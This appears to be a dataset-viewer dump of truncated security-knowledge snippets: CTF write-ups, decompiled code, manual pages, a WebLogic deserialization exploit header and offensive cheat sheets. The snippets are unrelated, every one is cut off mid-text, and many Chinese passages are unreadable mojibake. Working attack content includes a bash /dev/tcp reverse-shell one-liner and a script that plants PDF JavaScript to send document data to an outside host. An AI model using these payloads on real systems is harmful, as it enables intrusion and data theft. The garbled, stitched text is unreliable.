text
stringlengths
100
9.93M
category
stringclasses
11 values
// // This file was generated by the Retargetable Decompiler // Website: https://retdec.com // Copyright (c) 2017 Retargetable Decompiler <info@retdec.com> // #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/syslog.h> #include <time.h> // --------------...
sec-knowleage
ncftp === 是增区的的FTP工具 ## 补充诎明 **ncftp呜什** 是增区的的ftp工具比䌠统的FTP指什曎加区倧。FTP让甚户埗以䞋蜜存攟于服务噚䞻机的文件也胜将文件䞊䌠到远端䞻机攟眮。ncftp是文字暡匏FTP皋序的䜌䜌者它具倇倚样特色包括星瀺䌠蟓速率䞋蜜进床自劚续䌠标䜏乊筟可通过防火墙和代理服务噚等。 ### 语法 ```shell ncftp(选项)(参数) ``` ### 选项 ```shell -u指定登圕FTP服务噚时䜿甚的甚户名 -p指定登圕FTP服务噚时䜿甚的密码 -P劂果FTP服务噚没有䜿甚默讀的TCP协议的21端口则䜿甚歀选项指定FTP服务噚的端口号。 -m圚䌠之...
sec-knowleage
# Bender Safe (re, 50 points) Binary provided in challenge is 32bit MIPS, which is a bit unusual, and makes reversing harder. We can connect to challenge server, but it wants us to provide some OTP key: $ nc bender_safe.teaser.insomnihack.ch 31337 Welcome to Bender's passwords storage service Here's your OT...
sec-knowleage
/* * * Filename: encryptor.c * Description: My 1337 s3cur3 encrypt0r * Author: Mad Sc0lTrAg <vyasa2004@antimozg.ru> * Comment: Comments are for n00bz * */ #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <stdlib.h...
sec-knowleage
# Government Agriculture Network Category: Web ## Description > Well it seems someone can't keep their work life and their home life separate. You vaguely recall on your home planet, posters put up everywhere that said "Loose Zips sink large commercial properties with a responsibility to the shareholders." You wonder i...
sec-knowleage
version: '2' services: provider: image: vulhub/dubbo:2.7.3 depends_on: - zookeeper ports: - "8080:8080" environment: - DUBBO_REGISTRY=zookeeper://zookeeper:2181 zookeeper: image: zookeeper:3.7.0 ports: - "2181:2181"
sec-knowleage
# 700k Category: Steganography ## Description > Who doesn't like copypastas? A text file was attached. ## Solution Let's check the text file: ```console root@kali:/media/sf_CTFs/technion/700k# cat 700k.txt אני סטודנט שנה ד', בן 29, יש לי הון נזיל של כמעט 700 אלף ש"ח. למה אני משיין את זה? לא להשוויץ חס וחלילה, (אין אחד...
sec-knowleage
# messy-malloc Binary Exploitation, 300 points ## Description: > Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #define LINE_MAX 256 #define ACCESS_CODE_LEN 16 #define FLAG_SIZE ...
sec-knowleage
### Ethereum Opcodes抂述 Ethereum 侭的 opcodes 有 142 种郚分垞见的 opcodes 劂䞋所瀺 | Uint8 | Mnomonic | Stack Input | Stack Output | Expression | | :---: | :------: | :--------------------: | :----------: | :----------------------------------: | | 00 | STOP | - | ...
sec-knowleage
# PHP Deserialization PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied in...
sec-knowleage
# the great escape 1 (forensics 50) ###ENG [PL](#pl-version) In the first part of this task we get a [pcap](greatescape.pcap) file to work with. There are a couple of interesting things there. We proceed with analysis using wireshark and network miner. First one was a [private key](ssc.key) for `ssc.teaser.insomnihack....
sec-knowleage
--- title: Sed date: 2020-12-27 18:34:08 background: bg-red-400 tags: - editor - replace - text - utility categories: - Linux Command intro: | [Sed](https://www.gnu.org/software/sed/manual/sed.html) is a stream editor, this sed cheat sheet contains sed commands and some common sed tricks. plugin...
sec-knowleage
# T1053-005-win-schtasks本地计划任务 ## 来自ATT&CK的描述 诞劂at和schtasks之类的实甚皋序可䞎Windows Task Scheduler䞀起䜿甚来调床皋序或脚本圚某日期和时闎执行。只芁身仜讀证通过可以䜿甚RPC并䞔打匀了文件和打印机共享功胜就可以圚远皋系统䞊调床任务。圚远皋系统䞊调床任务通垞需芁远皋系统管理员矀组的成员执行。 攻击者可胜䌚通过任务调床圚系统启劚时或圚计划的基础䞊执行皋序以实现持久性䜜䞺暪向移劚的䞀郚分进行远皋执行获埗系统权限或者圚指定莊号的䞊䞋文䞋运行进皋。 ## 测试案䟋 安排呜什和皋序定期运行或圚指定时闎内运行。从计划衚䞭添加和删陀任务按需芁启劚和停止任务...
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "LOCK" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME LOCK \- 明确地锁定䞀䞪衚 .SH SYNOPSIS .sp .nf LOCK [ TABLE ] \fIname\fR [, ...] [ IN \fIlockmode\fR MODE ] where \fIlockmode\fR is one of: ACCESS SHARE | ROW SHARE | ROW EXCLUSIVE | SHARE ...
sec-knowleage
# 富入衚 圓可执行文件䜿甚倖来 DLL 的代码或数据时需芁 Windows 装蜜噚记圕所有芁富入的凜数和数据并将 DLL 装蜜到可执行文件的虚拟地址空闎䞭装蜜噚䌚确保可执行文件运行需芁的所有 DLL 郜被装蜜。 䜆对于可执行文件它无法确定富入凜数圚内存䞭的䜍眮于是 Windows 装蜜噚圚装蜜 DLL 时将定䜍富入凜数需芁的信息写入到 IAT(Import Address Table富入地址衚)。埅执行䞭遇到富入凜数的调甚时就通过 IAT 确定富入凜数圚内存䞭的䜍眮。 富入衚盞关数据包括 `IMAGE_IMPORT_DESCRIPTOR` 和 `IMAGE_IMPORT_BY_NAME` 以及盞应的字笊䞲数据。富入衚...
sec-knowleage
package org.vulhub; public class Greeting { private String content; public Greeting() { } public Greeting(String content) { this.content = content; } public String getContent() { return content; } }
sec-knowleage
package com.b1ngz.sec; import com.fasterxml.jackson.databind.ObjectMapper; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; @SpringBootApplication public class JacksonApplication { public st...
sec-knowleage
init === init进皋是所有Linux进皋的父进皋 ## 补充诎明 **init呜什** 是Linux䞋的进皋初始化工具init进皋是所有Linux进皋的父进皋它的进皋号䞺1。init呜什是Linux操䜜系统䞭䞍可猺少的皋序之䞀init进皋是Linux内栞匕富运行的是系统䞭的第䞀䞪进皋。 ### 语法 ```shell init(选项)(参数) ``` ### 选项 ```shell -b䞍执行盞关脚本而盎接进入单甚户暡匏 -s切换到单甚户暡匏。 ``` ### 参数 运行等级指定Linux系统芁切换到的运行等级。 ### 实䟋 几䞪垞甚的呜什 查看系统进皋呜什`ps -ef | head` 查...
sec-knowleage
#!/usr/bin/env python2 #Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510) #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r from __future__ import print_function import socket import struct import argparse import os impor...
sec-knowleage
# 第6ç«  短䌠——物理访问攻击 > 译者[@Snowming](https://github.com/Snowming04) ![](../images/chapter_6/6-1.png) 䜜䞺安党评䌰的䞀郚分CSK 芁求䜠的团队对基础讟斜进行物理评䌰。这就需芁检查他们的闚和安保讟斜是吊合栌。圚埗到了授权的前提䞋可以进行现场测试以确定他们譊卫的反应和响应时闎。 *快速诎明圚进行任䜕物理评䌰之前请务必䞎圓地、州和联邊法埋栞实。䟋劂圚密西西比州、俄亥俄州、内华蟟州或北吉尌亚州仅仅是持有匀锁工具就可胜是犯法的。我䞍是埋垈所以䜠最奜先咚询䞀䞋䞓䞚法埋人士。歀倖确保䜠获埗适圓的批准尜量䞎该机构的物理安党团队协同工䜜...
sec-knowleage
### ICS_CTF基于工控端口的信息扫描脚本 圚倧量IP䞭劂䜕发现工控讟倇,陀了工控特殊端口意倖倧量端口郜是正垞服务䟋劂ftp、ssh、telnet、smtp、ntp等正垞眑络服务。䞋面列衚列䞟了圓前可以利甚匀源工控扫描脚本。 |端口|协议/讟倇|来源| |:-----|:------|:------| |102(TCP)|siemens s7|nmap --script s7-info.nse -p 102 [host] <br>nmap -sP --script s71200-enumerate-old.nse -p 102 [host]| |502(TCP)|modbus|nmap --script modi...
sec-knowleage
# Mixed cipher (crypto, 233p, 39 solved) In the challenge we get the [server source code](mixed_server.py) The server gives us 4 options to choose from: 1. `encrypt` simply encrypts data we provide with AES-CBC (with random IV each time) and with RSA and we get back the ciphertexts. 2. `decrypt` performs RSA-decryption...
sec-knowleage
## Java Native Serialization (binary) ### Overview - [Java Deserialization Security FAQ](https://christian-schneider.net/JavaDeserializationSecurityFAQ.html) - [From Foxgloves Security](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vuln...
sec-knowleage
# 密码孊简介 密码孊Cryptography䞀般可分䞺叀兞密码孊和现代密码孊。 其䞭叀兞密码孊䜜䞺䞀种实甚性艺术存圚其猖码和砎译通垞䟝赖于讟计者和敌手的创造力䞎技巧并没有对密码孊原件进行枅晰的定义。叀兞密码孊䞻芁包含以䞋几䞪方面 - 单衚替换加密Monoalphabetic Cipher - 倚衚替换加密Polyalphabetic Cipher - 奇奇怪怪的加密方匏 而现代密码孊则起源于 20 䞖纪䞭后期出现的倧量盞关理论1949 幎銙农C. E. Shannon发衚了题䞺《保密系统的通信理论》的经兞论文标志着现代密码孊的匀始。现代密码孊䞻芁包含以䞋几䞪方面 - 对称加密Symmetric Cr...
sec-knowleage
### MSBuild简介 MSBuild 是 Microsoft Build Engine 的猩写代衚 Microsoft 和 Visual Studio的新的生成平台。MSBuild圚劂䜕倄理和生成蜯件方面是完党透明的䜿匀发人员胜借圚未安装Visual Studio的生成实验宀环境䞭组织和生成产品。 MSBuild 匕入了䞀种新的基于 XML的项目文件栌匏这种栌匏容易理解、易于扩展并䞔完党受 Microsoft 支持。MSBuild项目文件的栌匏䜿匀发人员胜借充分描述哪些项需芁生成以及劂䜕利甚䞍同的平台和配眮生成这些项。 **诎明**Msbuild.exe所圚路埄没有被系统添加PATH环境变量䞭因歀Msbuild...
sec-knowleage
# Pagerank (web) In the task we can submit a link to a webpage, and the website will calculate some "rank" value for this page. If we provide a link to the default suggested page `https://www.facebook.com/` we get an interesting result - instead of just the link and score we get back a picture of facebook logo and the ...
sec-knowleage
# 反匹shell总结 ## Linux ### bash反匹 ``` bash -i >& /dev/tcp/ip_address/port 0>&1 ``` > 1. bash -i 打匀䞀䞪亀互的bash > > 2. & 将标准错误蟓出重定向到标准蟓出 > 3. /dev/tcp/x.x.x.x/port 意䞺调甚socket,建立socket连接,å…¶äž­x.x.x.x䞺芁反匹到的䞻机ipport䞺端口 > 4. 0>&1 标准蟓入重定向到标准蟓出实现䜠䞎反匹出来的shell的亀互 圚特殊情况可以䜿甚base64猖码执行bash反匹shell ``` bash -c '{echo,YmFzaCAtaSA+JiA...
sec-knowleage
with open('original.pdf', 'rb') as f: data = bytearray(f.read()) CODE = ''' var data = util.stringFromStream(this["getDat" + "aObje" + "ctContents"]("x",true)); SOAP.request('http://rev.p4.team:1234/test' + data, []); ''' # STEP 1, update catalog data = data.replace(b'/Type /Catalog', b'/Type /Catalog /OpenAct...
sec-knowleage
# Java IO <!-- GFM-TOC --> * [Java IO](#java-io) * [䞀、抂览](#䞀抂览) * [二、磁盘操䜜](#二磁盘操䜜) * [䞉、字节操䜜](#䞉字节操䜜) * [实现文件倍制](#实现文件倍制) * [装饰者暡匏](#装饰者暡匏) * [四、字笊操䜜](#四字笊操䜜) * [猖码䞎解码](#猖码䞎解码) * [String 的猖码方匏](#string-的猖码方匏) * [Reader 侎 Writer](#reader-侎-writer) * [实现逐行蟓出...
sec-knowleage
# Imagemagick PDF密码䜍眮呜什泚入挏掞CVE-2020-29599 ImageMagick是䞀欟䜿甚量埈广的囟片倄理皋序埈倚厂商郜调甚了这䞪皋序进行囟片倄理包括囟片的䌞猩、切割、氎印、栌匏蜬换等等。研究者@insertScript 发现圚Imagemagick 7.0.10-35到7.0.10-40、6.9.11-35 up到6.9.11-40倄理PDF的过皋䞭存圚䞀倄呜什泚入挏掞通过构造奜的SVG栌匏囟片文件即可圚Imagemagick䞭泚入任意呜什。 参考铟接 - https://insert-script.blogspot.com/2020/11/imagemagick-shell-inje...
sec-knowleage
# servlet-3 --- ## Cookies 倄理 Cookies 是存傚圚客户端计算机䞊的文本文件甚于各种信息的跟螪目的。Java Servlet 透明的支持 HTTP Cookies。 识别返回甚户包括以䞋䞉䞪步骀 * 服务噚脚本向浏览噚发送䞀组 cookies。䟋劂姓名、幎韄或身仜证号码等。 * 浏览噚将这些信息存傚圚本地计算机䞭以倇将来䜿甚。 * 圓䞋次浏览噚向 web 服务噚发送任䜕请求时它䌚把这些 cookies 信息发送到服务噚服务噚䜿甚这些信息来识别甚户。 ### Cookie 剖析 通垞情况䞋Cookies 讟眮圚 HTTP 倎信息䞭尜管 JavaScript 也可以盎接圚浏览噚䞊讟眮 cook...
sec-knowleage
# Aapache Tomcat AJP Arbitrary File Read / Include VulnerabilityCVE-2020-1938 [䞭文版本(Chinese version)](README.zh-cn.md) Java is currently the most popular programming language in Web development, and Tomcat is one of the most popular Java middleware servers. It has been used for more than 20 years since its initial ...
sec-knowleage
# Writeup ECTF 2016 Team: nazywam, c7f.m0d3, cr019283, akrasuski1, shalom ### Table of contents * [number_place (misc 150)](misc_150) * [DaaS (crypto 50)](crypto_50)
sec-knowleage
# punkShop 20 Points ## Solution We get a page titled "REAL SHOP" with the motto of "Meet our pros, buy the right stuff, improve your life". There's a button saying "Shop". The developer console prints a debug message: `Loading the code for the punkShop (20 pt) page. To debug this code, open ccbt.js in Developer Tools....
sec-knowleage
poweroff === 关闭Linux系统关闭记圕䌚被写入到/var/log/wtmp日志文件䞭 ## 补充诎明 **grename呜什** 可以重呜名卷组的名称。 ### 语法 ```shell poweroff [选项] ``` ### 选项 ```shell -n 关闭之前䞍同步 -p 圓被称䞺halt时关闭电源 -v 增加蟓出包括消息 -q 降䜎蟓出错误唯䞀的消息 -w 并䞍实际关闭系统只是写入/var/log/wtmp文件䞭 -f 区制关机䞍调甚shutdown ``` ### 䟋子 关闭Linux系统。 ```shell [root@localhost ~]# poweroff ```
sec-knowleage
## 䞀、sqlmap tips 1). Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of "testing connection to the target url". In such cases its helpful to use the "--random-agent" option. This makes sqlmap to use a valid user agent signature like the ones send by a browse...
sec-knowleage
# 64. 求 1+2+3+...+n ## 题目铟接 [NowCoder](https://www.nowcoder.com/practice/7a0da8fc483247ff8800059e12d7caf1?tpId=13&tqId=11200&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 芁求䞍胜䜿甚乘陀法、for、while、if、else、switch、case 等关键字及条件刀断语句 A ? B : C。 ## 解题思路 䜿甚递園解法最重芁的是指定返回条件...
sec-knowleage
# Misc-Plan <p align="center"> <a href="https://twitter.com/mittye97/status/1235824863857659905"><img src="../../assets/img/banner/Misc-Plan.jpg" width="90%"></a> </p> --- ## 激掻 > 泚意 : Windows 系统和 Microsoft Office 蜯件郜必须是 VOL 版本. - [Wind4/vlmcsd](https://github.com/Wind4/vlmcsd) - kms 服务噚 - [TGSAN/CMWTAT_Digital_Edi...
sec-knowleage
# Cuckoo 恶意蜯件分析环境 > 欲速则䞍蟟konw itthen hack it。 译者泚Cuckoo Sandbox是领先的匀源自劚恶意蜯件分析系统 https://cuckoosandbox.org/ Rastamouse的这篇文章给我埈倧的启发https://rastamouse.me/2017/05/playing-with-cuckoo/ 我打算匄䞀䞪䞀样的环境。 可胜超出了本乊的范囎劂果悚想匀发自己的payload和工具则必须圚将它们攟入生产环境之前对其进行测试。 我甚䞀些方法来解决这䞪问题。所以呢圚这䞪wiki里面我尜量去解决䞀些圚讟眮时䞍胜埈奜地工䜜的问题䜿其尜可胜顺利。其结果䞎RASTA...
sec-knowleage
# T1070-006-win-Timestamp ## 来自ATT&CK的描述 Timestomping是䞀种修改文件时闎(创建时闎,修改时闎)的技术,通垞来将恶意文件和本文件倹其他的文件匄成盞同的时闎。 ## 测试案䟋 具䜓参考䞋方测试倍现过皋(均需芁拥有文件的所有权限)。䞻芁涉及到touch呜什的䜿甚。 ``` sos@sos-pc:/$ touch --help 甚法touch [选项]... 文件... 将所指定的每䞪文件的访问时闎和修改时闎曎改䞺圓前时闎。 陀非提䟛 -c 或 -h 选项吊则指定䞍存圚的文件将䌚被创建䞺空文件。 劂果所指定文件名䞺 - 则特殊倄理皋序将曎改䞎标准蟓出盞关联的文件的 访问时闎。 必选...
sec-knowleage
# 0x00 Beacon 键盘记圕 Beacon提䟛的键盘记圕䞪人感觉还是比蟃区倧 ``` beacon> help keylogger Use: keylogger [pid] <x86|x64> keylogger Inject a keystroke logger into the specified process. Use jobkill to terminate this task early. Use keylogger with no arguments to spawn a temporary process and inject the keystroke logger into it. ``` 可...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH NL 1 2022幎9月 "GNU coreutils 9.1" ...
sec-knowleage
lvextend === 扩展逻蟑卷空闎 ## 补充诎明 **lvextend呜什** 甚于圚线扩展逻蟑卷的空闎倧小而䞍䞭断应甚皋序对逻蟑卷的访问。䜿甚lvextend呜什劚态圚线扩展磁盘空闎敎䞪空闎扩展过皋对于应甚皋序来诎是完党透明的。 ### 语法 ```shell lvextend(选项)(参数) ``` ### 选项 ```shell -L指定逻蟑卷的倧小单䜍䞺“kKmMgGtT”字节 -l指定逻蟑卷的倧小LE数。 ``` ### 参数 逻蟑卷指定芁扩展空闎的逻蟑卷。 ### 实䟋 䜿甚lvextend呜什䞺逻蟑卷`/dev/vg1000/lvol0`增加100M空闎。圚呜什行䞭蟓入䞋面的呜什 `...
sec-knowleage
# Here's a LIBC Category: Binary Exploitation, 90 points ## Description > I am once again asking for you to pwn this binary A binary file, a makefile and a LIBC were attached. ```makefile all: gcc -Xlinker -rpath=./ -m64 -fno-stack-protector -no-pie -o vuln vuln.c clean: rm vuln ``` ## Solution Let's run the attached...
sec-knowleage
import codecs import urllib2 import requests from crypto_commons.generic import chunk_with_remainder def download_wav(): url = 'https://audio-captcha.dctf-f1nals-2017.def.camp/index.php?audio' opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'PHPSESSID=16dmmhicdcv2i1ocrzs80xxrtr')) ...
sec-knowleage
# Check Point CSA 2021 Writeups for the Check Point CSA 2021 CTF. Worked together with zVaz and YaakovC.
sec-knowleage
--- title: 建议反銈 --- <center><h1>建议反銈</h1></center> --- <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022幎4月14日" } } </script>
sec-knowleage
# UFF (crypto, 100+25p, 12 solved) In the challenge we get [source code](vuln.c) of the application running on the server. The application lets us sign messages via Ed25519. The code is quite simple: - It shows us 10 different ECC public keys - We can then 1000 times sign a unique message of our choosing using selected...
sec-knowleage
# 0x00 探玢报错 报错泚入的绕过感觉埈少人提过䞍少人绕过也有䞀定的误区吧这里提䞀提 ``` updatexml 䞍拊截 updatexml(1,2,3 䞍拊截 updatexml(1,2) 䞍拊截 updatexml(1,2,) 䞍拊截 updatexml(,2,1) 䞍拊截 updatexml(1,2,!) 拊截 updatexml(1,2,%) 拊截 updatexml(,2,1,hex()) 拊截 and updatexml(1,2,3 䞍拊截 updatexml(1,2,3) 拊截 and updatexml(1,2,3) 拊截 ``` 到这里我们 倧抂知道了他的刀断 `updatexml()` 的完敎性 ...
sec-knowleage
### 䞭闎盞遇攻击 - MITM抂述 䞭闎盞遇攻击是䞀种以空闎换取时闎的䞀种攻击方法1977幎由 Diffie 侎 Hellman 提出。从䞪人角床看者曎倚地指䞀种思想䞍仅仅适甚于密码孊攻击也适甚于其他方面可以降䜎算法的倍杂床。 基本原理劂䞋 假讟 E 和 D 分别是加密凜数和解密凜数k1 和 k2 分别是䞀次加密䜿甚的密钥则我们有 $C=E_{k_2}(E_{k_1}(P))$ $P=D_{k_1}(D_{k_2}(C))$ 则我们可以掚出 $E_{k_1}(P)=D_{k_2}(C)$ 那么圓甚户知道䞀对明文和密文时 1. 攻击者可以枚䞟所有的 k1将 P 所有加密后的结果存傚起来并按照密文的倧小进行排序。...
sec-knowleage
import string s=open("re400.bin").read().strip().decode("hex")[::-1] sofar="" cur=len(sofar) while True: print "===============" print sofar next=s[cur:cur+16] poss=[] for c in next: p=[] for i in range(0,128,16): cand=chr(ord(c)^i) if cand in string.printa...
sec-knowleage
## Plugin Options The -O command line switch allows the user to pass options to the plugins. A plugin which uses options should call the get_plugin_options() function to get them. Since there may be plugins written by independent programmers, each options will have a prefix -O in front of the plugin name. For examp...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH PINKY 1 2022幎9月 "GNU coreutils 9....
sec-knowleage
from Crypto.Cipher import AES from SocketServer import ThreadingMixIn from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler import sys class Hasher: def __init__(self): self.aes = AES.new('\x00'*16) def reset(self): self.state = '\x00'*16 def ingest(self, block): """Ingest a block of 10 cha...
sec-knowleage
# Secret Bits Category: Steganography, 50 points ## Description > Some bits are more secretive then others.... An image was attached. ## Solution Just run `zsteg` on the image: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Secret_Bits] └─$ zsteg secret_bits.png imagedata .. text: "%'(:7+@;" b1,...
sec-knowleage
# 信息搜集技术 ## 眑络信息搜集技巧 - 公匀枠道 - 目标 Web 眑页、地理䜍眮、盞关组织 - 组织结构和人员、䞪人资料、电话、电子邮件 - 眑络配眮、安党防技机制的策略和技术细节 - 通过搜玢匕擎查扟特定安党挏掞或私密信息的方法 - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database/) - 科孊䞊眑 ## 基本搜玢技巧 - Google 基本搜玢䞎挖掘技巧 - 保持简单明了的关键词 - 䜿甚最可胜出现圚芁查扟的眑页䞊的字词 - 尜量简明扌芁地描述芁查扟的内容 - 选择独特性...
sec-knowleage
# Caesar's favourite song (Misc/Crypto/Stegano) In the task we get a [song](killthegauls.mp3). We also know that the flag format is `DCTFXXXDCTF`. We start off by translating the song into [notes](killthegauls.xml) by some free software. One we have the transcription we parse this and store in a single list. Initially ...
sec-knowleage
# T1518-001-win-安党蜯件发现 ## 来自ATT&CK的描述 攻击者可胜䌚尝试获取安装圚系统或云环境䞭的安党蜯件配眮防埡工具和䌠感噚的列衚。这可胜包括诞劂防火墙规则和防病毒之类的内容。攻击者可以圚自劚发现过皋䞭䜿甚来自安党蜯件发现的信息来制定后续行䞺包括攻击者是吊完党感染目标或尝试执行特定操䜜。 可甚于获埗安党蜯件的信息䟋劂呜什的netshreg querydir侎CMD和任务列衚䜆发现行䞺其他指标可以是曎具䜓的蜯件或安党系统的攻击者正圚寻扟的类型。看到macOS恶意蜯件对LittleSnitch和KnockKnock蜯件执行检查已变埗越来越普遍。 ## 测试案䟋 根据ATT&CK对T1063的描述以及参...
sec-knowleage
# CentauriKube Category: Research / Kubernetes ## Description > Cyborg1337, we need your help! > > Global warming is damaging our planet, and we need to find a new place to live. > > Go on our spaceship and find an earth-like planet in the near star system "Alpha Centauri". > > The full instructions can be found by ...
sec-knowleage
# pwn01 (pwn, 34 solved, 160p) ## Introduction In this task we have a binary to pwn but this task differs slightly from other pwns i a way that it runs under sandbox. You can download all sources for this task [here](forPlayer.zip). For sandbox is providen binary and also sources. ## Vulnerability and exploitation I ...
sec-knowleage
# Nexus Repository Manager 3 远皋呜什执行挏掞CVE-2019-7238 Nexus Repository Manager 3 是䞀欟蜯件仓库可以甚来存傚和分发Maven、NuGET等蜯件源仓库。其3.14.0及之前版本䞭存圚䞀倄基于OrientDB自定义凜数的任意JEXL衚蟟匏执行功胜而这倄功胜存圚未授权访问挏掞将可以富臎任意呜什执行挏掞。 参考铟接 - https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-...
sec-knowleage
# Adobe ColdFusion 文件读取挏掞CVE-2010-2861 Adobe ColdFusion是矎囜Adobe公叞的䞀欟劚态Web服务噚产品其运行的CFMLColdFusion Markup Language是针对Web应甚的䞀种皋序讟计语蚀。 Adobe ColdFusion 8、9版本䞭存圚䞀倄目圕穿越挏掞可富臎未授权的甚户读取服务噚任意文件。 ## 环境搭建 执行劂䞋呜什启劚Adobe CouldFusion 8.0.1版本服务噚 ``` docker compose up -d ``` 环境启劚可胜需芁1~5分钟启劚后访问`http://your-ip:8500/CFIDE/ad...
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: split.n,v 1.2 2003/11/24 05:10:00 ...
sec-knowleage
# True zero (RE, 477p, 2 solved) In this challenge we get a [binary](truezero) and [encrypted flag](flag.enc). After reversing the binary, we can see that the input is a PNG file, and that the encryption is doing basically: ```python def encrypt(flag, key, rounds_number): for i in range(rounds_number): flag...
sec-knowleage
# Weblogic WLS Core Components 反序列化呜什执行挏掞CVE-2018-2628 Oracle 2018幎4月补䞁䞭修倍了Weblogic Server WLS Core Components䞭出现的䞀䞪反序列化挏掞CVE-2018-2628该挏掞通过t3协议觊发可富臎未授权的甚户圚远皋服务噚执行任意呜什。 参考铟接 - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html - http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA - http...
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: lindex.n,v 1.2 2003/11/24 05:09:59...
sec-knowleage
.TH MAILADDR 7 "June 24, 1995" linux "Linux User's Manual" \" -*- nroff -*- .\" .\" Copyright (c) 1983, 1987 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms are permitted .\" provided that the above copyright notice and this paragraph are ....
sec-knowleage
--- title: Class的基础语法䞎继承 --- ## Class 的基础语法䞎继承 ### JS构造凜数 ``` function Point(x, y) { this.x = x; this.y = y; } Point.prototype.toString = function () { return '(' + this.x + ', ' + this.y + ')'; }; var p = new Point(1, 2); ``` - 通过**class**关键字语法糖可以定义类。 - class䞋只胜写方法方法之闎䞍甚笊号隔匀 - constructor构造噚class方法䞭的特殊方...
sec-knowleage
# 语法孊习 --- **HTML 添加囟标 icon** 圚 `<head> </head>` 䞭闎加入代码即可 ```html <link rel="shortcut icon" href="1.ico" type="image/x-icon"> ```
sec-knowleage
reject === 指瀺打印系统拒绝发埀指定目标打印机的打印任务 ## 补充诎明 **reject呜什** 属于CUPS套件甚于指瀺打印系统拒绝发埀指定目标打印机的打印任务。 ### 语法 ```shell reject(选项)(参数) ``` ### 选项 ```shell -E圓连接到服务噚时区制䜿甚加密 -U指定连接服务噚时䜿甚的甚户名 -h指定连接服务噚名和端口号 -r指定拒绝打印任务的原因。 ``` ### 参数 目标指定目标打印机。
sec-knowleage
from django.contrib import admin from .models import Collection # Register your models here. admin.site.register(Collection)
sec-knowleage
### Function Selector and Argument Encoding抂述 > 诊细可查看 [官方文档](https://docs.soliditylang.org/en/v0.8.1/abi-spec.html#) > 参考自己博客 [Function Selector and Argument Encoding](https://hitcxy.com/2021/argument-encoding/) 圚 Ethereum 生态系统䞭ABI (Application Binary Interface应甚二进制接口) 是从区块铟倖郚䞎合纊进行亀互以及合纊䞎合纊闎进行亀互的䞀种标准方匏。数据䌚根据其类型按照这仜手册...
sec-knowleage
lsb_release === 星瀺发行版本信息 ## 补充诎明 LSB是Linux Standard Base的猩写 **lsb_release呜什** 甚来星瀺LSB和特定版本的盞关信息。劂果䜿甚该呜什时䞍垊参数则默讀加䞊-v参数。 ```shell -v 星瀺版本信息。 -i 星瀺发行版的id。 -d 星瀺该发行版的描述信息。 -r 星瀺圓前系统是发行版的具䜓版本号。 -c 发行版代号。 -a 星瀺䞊面的所有信息。 -h 星瀺垮助信息。 ``` 劂果圓前发行版是LSB兌容的那么`/etc/lsb_release`文件䞭䌚包含LSB_VERSION域。这䞪域的倌可以是甚冒号隔匀的䞀系列支持的暡块。这些暡块名是圓前版本支持的...
sec-knowleage
# Redis --- ## 什么是 Redis Redis 是䞀䞪 key-value 存傚系统。和 Memcached 类䌌它支持存傚的 value 类型盞对曎倚包括 string(字笊䞲)、list(铟衚)、set(集合)、zset(sorted set -- 有序集合) 和 hash哈垌类型。这些数据类型郜支持 push/pop、add/remove 及取亀集并集和差集及曎䞰富的操䜜而䞔这些操䜜郜是原子性的。圚歀基础䞊redis 支持各种䞍同方匏的排序。䞎 memcached 䞀样䞺了保证效率数据郜是猓存圚内存䞭。区别的是 redis 䌚呚期性的把曎新的数据写入磁盘或者把修改操䜜写入远加的记圕文件并䞔圚歀基...
sec-knowleage
